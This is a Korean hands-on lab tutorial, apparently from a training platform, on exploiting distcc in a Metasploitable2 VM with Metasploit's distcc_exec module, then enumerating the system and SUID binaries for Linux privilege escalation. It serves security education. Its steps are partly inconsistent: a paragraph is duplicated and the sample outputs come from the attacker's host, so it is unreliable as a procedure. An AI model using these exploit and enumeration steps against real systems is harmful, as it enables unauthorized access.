소개
이 랩에서는 비 root 사용자로 성공적으로 접근한 후 Linux 머신에서 권한 상승 (privilege escalation) 을 수행하는 방법을 배우게 됩니다. Windows 권한 상승에 대한 많은 튜토리얼이 온라인에서 제공되지만, 이 랩은 특히 Linux 운영 체제에서 권한을 상승시키는 데 중점을 둡니다.
이 랩에서는 비 root 사용자로 성공적으로 접근한 후 Linux 머신에서 권한 상승 (privilege escalation) 을 수행하는 방법을 배우게 됩니다. Windows 권한 상승에 대한 많은 튜토리얼이 온라인에서 제공되지만, 이 랩은 특히 Linux 운영 체제에서 권한을 상승시키는 데 중점을 둡니다.
이 단계에서는 Kali Linux 컨테이너와 Metasploitable2 가상 머신을 포함하여 랩 환경의 필수 구성 요소를 시작합니다.
sudo virsh start Metasploitable2
대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 소요될 수 있습니다.
target 호스트 이름을 ping 하여 가상 머신이 시작되었는지 테스트합니다.ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
docker run -ti --network host b5b709a49cd5 bash
target 호스트 이름을 ping 하여 네트워크 연결을 테스트합니다.ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
이 단계에서는 Kali 컨테이너에서 Metasploit Framework (MSF) 를 사용하여 Metasploitable2 대상 머신에 대한 초기 접근 권한을 얻습니다.
cd ~
msfconsole
distcc_exec 익스플로잇 모듈을 사용합니다.use exploit/unix/misc/distcc_exec
set RHOST 192.168.122.102
exploit
성공적인 익스플로잇 후, 명령 쉘 세션이 열리는 것을 볼 수 있으며, 이는 대상 머신에 대한 접근 권한을 얻었음을 나타냅니다.
Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.
초기 접근 권한을 얻은 후, 추가적인 권한 상승이 필요한지 여부를 결정하기 위해 현재 사용자의 권한을 확인해야 합니다.
cd ~
msfconsole
whoami
id
사용자 ID 가 0 (root) 이 아닌 경우, 관리자 권한을 얻기 위해 권한을 상승시켜야 합니다.
Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.
권한 상승을 시도하기 전에, 잠재적인 취약점을 식별하기 위해 대상 시스템에 대한 정보를 수집해야 합니다.
cd ~
msfconsole
lsb_release -a
다음은 볼 수 있는 출력의 예입니다.
[*] exec: lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2023.2
Codename: kali-rolling
uname -a
다음은 볼 수 있는 출력의 예입니다.
Linux iZj6ceecakbzgu9eomquhhZ 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 GNU/Linux
find / -perm -u=s -type f 2> /dev/null
출력에서 /usr/bin/nmap 바이너리를 볼 수 있습니다. 이 바이너리는 이전 버전에서 알려진 권한 상승 취약점을 가지고 있습니다. Ctrl+C를 눌러 종료합니다.
Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.
이 랩에서는 비 루트 (non-root) 사용자로 초기 접근 권한을 얻은 후 Linux 머신에서 권한 상승을 수행하는 방법을 배웠습니다. 먼저 Kali Linux 컨테이너와 Metasploitable2 가상 머신으로 LabEx 환경을 설정했습니다. 그런 다음 Metasploit Framework 를 사용하여 Distcc 취약점을 악용하고 대상 머신에 대한 초기 접근 권한을 얻었습니다.
루트 사용자가 아님을 확인한 후, Linux 배포판 버전, 커널 버전 및 SUID 파일과 같은 대상 시스템에 대한 정보를 수집했습니다. Nmap 바이너리를 잠재적인 취약점으로 식별하고 이를 악용하여 권한을 루트로 상승시켰습니다.
이 랩을 완료함으로써, 사이버 보안 분야에서 중요한 기술인 Linux 시스템에서 권한 상승 프로세스에 대한 실질적인 경험을 얻었습니다. 또한 시스템 열거 및 악용을 위한 다양한 Linux 명령을 사용하는 방법과 소프트웨어의 취약점을 활용하여 권한을 상승시키는 방법도 배웠습니다.